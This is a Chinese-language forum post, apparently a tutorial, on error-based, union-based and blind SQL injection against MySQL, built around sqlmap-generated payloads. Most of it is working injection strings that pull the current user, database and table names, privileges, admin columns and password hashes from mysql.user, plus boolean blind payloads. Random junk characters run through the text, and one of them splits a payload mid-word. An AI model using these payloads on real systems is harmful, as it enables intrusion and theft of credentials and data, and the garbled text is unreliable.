放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。, K) X5 n' |5 X* ?: I! n
: E' A) X3 X( ~$ [ Y/ R这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表( R/ Y; g! T' B/ h v; O
/ ?, ^$ X; n4 x5 |. N分类标准 分类 备注
$ h; k- U9 R6 n按字段类型 整型注入,字符型注入 6 r7 X6 w2 f e9 o* B$ t" y. f. G
按出现的位置 get注入,post注入,cookie注入,http header注入
& U8 o; J6 y7 ~1 F% M' r8 L然而高级注入是这样的5 R3 H. T3 P, s* V: }# B
; J5 O4 | U/ ~; ]* ]高级注入分类 条件5 Y+ b' f2 |/ ]$ k& E
error-based sql 数据库的错误回显可以返回,存在数据库,表结构
/ e+ v/ q7 v- O+ \! ^ ?union-based sql 能够使用union,存在数据库,表结构
( g" z$ Z. k) G. fblind sql 存在注入4 R- \3 z+ y) B6 b5 D# ?
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。! g; z6 V0 K4 m: a) J9 \) ^
/ Z8 A! x! f% g% o; Y" z好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
7 i) w `8 t( Q3 U$ y9 F
5 n. ~$ j% x* Y0 ?. Q* b, `) l4 \附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。, x. m. ^+ G. q! v
' T7 T1 m4 U7 f, `1 k3 r这里用mysql说明
; D( R+ H/ T3 \7 ^; [
' a: @9 Z, a, x, E0 ?+ m5 u5 Ce注入坛子里很多了,请看戳我或者再戳我. g0 V" C2 H% [: W0 L( y
3 h/ ~; M- S& i1 B9 ]2 j' G/ Tu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的: S2 j- a+ s7 E, L/ c! v% c
! Y- e# q; ~; K! ]5 K; H& ]获取当前数据库用户名
5 D& J" C, b9 f7 ~. G* C7 [
7 |7 Q4 C2 h( ?: s) {- `- L5 `UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C% d$ ^/ A! y# d: x" L$ ~, |
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
& h) I) ]: z Q# n) K) m. F9 eL, NULL#
" f' k3 z* D$ [注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
# H' j' F' p ?
- C' S g- P9 Q" K, L获取数据库名
& O- y* s E g0 \ % K c* e0 Z8 j, f% N
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#0 i2 |9 T, \" y0 t( p3 K. G
获取所有用户名
s6 Y: X+ e$ R) j7 ~( K
) q7 V$ P1 F# W) C2 _6 i0 ]3 w. t0 \$ j1 TUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
5 V3 y0 E6 b5 k# e R8 S$ B, l查看当前用户权限; ^; c% _; p% u T
6 f6 t2 x& K5 d! J; ~
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
5 d0 W/ l, |1 b. m! u0 G尝试获取密码,当然需要有能读mysql数据库的权限
L6 R# q/ b& f
* ^3 N5 `+ _, ^ bUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#1 t8 @" C- D i0 T1 t2 ?& v
获取表名,limit什么的自己搞啦. ^* z. x8 M; f; \
2 d5 V( H5 i# @% H5 CUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#- h2 [$ C( }; [+ g
获取字段名及其类型
, s, ~4 y$ X0 A+ ~# TUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#& F$ b! t' L9 U$ L u% |* r# g2 t
9 n: f2 I, x+ ]5 H7 q
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。/ u/ t) E( N7 [% ^+ H' c7 u; j8 ?
8 e+ U6 J! w2 s) c如:) G: M( A& z* c( V
获取当前用户名 x" g8 h2 ?; T {4 E
8 F! w2 t+ m" b! t% y+ Y' t, kAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
/ }. ?8 v3 q+ q# S! r获取当前数据库
' n9 x4 t: e. R
& G1 k+ |& ]8 @% o% O6 Z7 p5 `AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
* p+ I& s5 E3 ]) N' d3 @ a获取表名
* d: c& v7 {4 Z" P* Z/ X
' p U2 T+ r9 I! D) V+ ?' wAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51/ J6 ?& ]* _4 L1 ~) p
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
0 I# i, S/ } ^2 j回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。2 h( X( o! M; x& _
爆表
# n d' h3 {) ^+ G p8 l! h" M7 g& C1 W
AND EXISTS(select * from table)
# z; \5 `2 v0 O! |+ m4 K6 P- J爆字段
' V2 q7 }! b' J$ U9 \$ i/ c+ ~ 4 d" @; p4 Y! ~2 N' k
AND EXISTS(select pwd from table)+ R0 |( I" s! n/ a
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
9 U% S7 |0 {, i5 J 0 U4 z! y9 g+ d0 W& D7 D; r+ Q
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
5 [4 G9 l% z6 s( w |